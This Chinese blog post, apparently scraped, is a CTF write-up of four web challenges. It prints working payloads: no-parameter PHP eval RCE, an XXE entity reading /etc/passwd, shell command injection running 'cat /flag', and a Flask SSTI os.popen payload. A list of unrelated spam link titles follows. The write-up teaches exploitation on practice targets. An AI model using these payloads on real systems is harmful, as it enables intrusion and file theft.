当前位置: 首页 > news >正文

有什么可以做兼职的正规网站凡科建站的免费使用

有什么可以做兼职的正规网站,凡科建站的免费使用,网页设计尺寸高度,广州做网站开发文章目录 前言题目[GXYCTF 2019]禁止套娃方法一方法二 [NCTF 2019]Fake XML cookbook[NSSRound#7 Team]ec_RCE[NCTF 2018]Flask PLUS 前言 今天是2023.9.3,大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少,新学期新气象。不可急于求成&am…

文章目录

  • 前言
  • 题目
    • [GXYCTF 2019]禁止套娃
      • 方法一
      • 方法二
    • [NCTF 2019]Fake XML cookbook
    • [NSSRound#7 Team]ec_RCE
    • [NCTF 2018]Flask PLUS


前言

今天是2023.9.3,大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少,新学期新气象。不可急于求成,稳扎稳打,把能利用的时间用来提升web实力。


题目

[GXYCTF 2019]禁止套娃

打开题目,直接扫一下目录
发现是存在git泄露—参考文章

在这里插入图片描述然后使用专门的工具Githack(下载地址)
打开终端,运行python(运行后要访问,/.git/才能有结果)

在这里插入图片描述源代码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

分析一下
第一个if语句禁用了一些php伪协议
第二个if语句很明显是无参rce的标志,一般代码为

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);
}

第三个if语句是禁用我们要rce的一些函数,比如phpinfo()

所以rce的关键是无参

方法一

使用session_start()+session_id()读取文件(php<7)

payload

?exp=show_source(session_id(session_start())); 
Cookie: PHPSESSID=flag.php

得到flag

在这里插入图片描述

方法二

php函数直接读取文件

先读取数组,查看flag在第几个
payload

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
发现是第三个,那么我们可以先倒序再读取第二个

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

即可得到flag

[NCTF 2019]Fake XML cookbook

打开题目,根据提示应该不是sql注入
随便输入然后bp抓包,发现是xml格式的登录

在这里插入图片描述联想到XML中存在的XXE漏洞
payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>1</password></user>

在这里插入图片描述修改下命令,直接得到flag

在这里插入图片描述

[NSSRound#7 Team]ec_RCE

源代码

 <!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHPif(!isset($_POST["action"]) && !isset($_POST["data"]))show_source(__FILE__);putenv('LANG=zh_TW.utf8'); $action = $_POST["action"];$data = "'".$_POST["data"]."'";$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");echo $output;    
?> 

分析一下,有两个POST参数可控,然后出现shell_exec()函数
它的作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
payload

action=||&data='cat /flag'
或者
action=;cat /flag&data=

得到flag

[NCTF 2018]Flask PLUS

打开题目,在url输入{{7*7}}
在这里插入图片描述发现存在ssti漏洞

payload

{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}

在这里插入图片描述
然后得到flag
在这里插入图片描述

http://www.tj-hxxt.cn/news/1342.html

相关文章:

  • 网站后台安装哪个公司做网站推广最好
  • 教做衣服网站seo关键词优化费用
  • 怎么登陆自己的公司网站百度关键词排名突然消失了
  • 关于推进政府网站集约化建设的通知亚马逊的免费网站
  • 副标题wordpress厦门seo优
  • 对自己做的网站总结信息流广告案例
  • 做网站架构需要什么工具网络营销师培训费用是多少
  • 企业买好域名后怎么做网站整合营销传播的方法包括
  • 怎样查网站的注册地点百度站长平台网址
  • 网站开发软件、百度top排行榜
  • 便宜网站建设 优帮云软文代发布
  • 医院网站建设企业百度手机浏览器
  • 网站的数据库怎么备份自己怎么优化网站排名
  • 物流网站开题报告seo百度排名优化
  • 可以做照片书的网站怎么查百度搜索排名
  • 如何为网站开发app怎么找推广渠道
  • 分类信息网站建设百度平台投诉人工电话
  • 网站如何开通微信支付接口网站优化方法
  • 网站开发移动端多少钱seo能从搜索引擎中获得更多的
  • 四川建设网电子招投标网站百度搜索风云榜小说
  • 做网站 阿里云哪个杭州seo好
  • 公司网站建设入哪科目网站怎么优化seo
  • 电子商务型网站建设免费个人网站申请
  • 网站建设经验深圳网站优化哪家好
  • 有自己的网站怎么做淘宝客100个免费推广网站
  • 扁平风格网站模板企业品牌营销推广
  • 锦州公司做网站推广app赚钱项目
  • 个人是否可以做网站成都爱站网seo站长查询工具
  • .net和php那个做网站好四川省最新疫情情况
  • 怎么做才能让网站快速收录今晚日本比分预测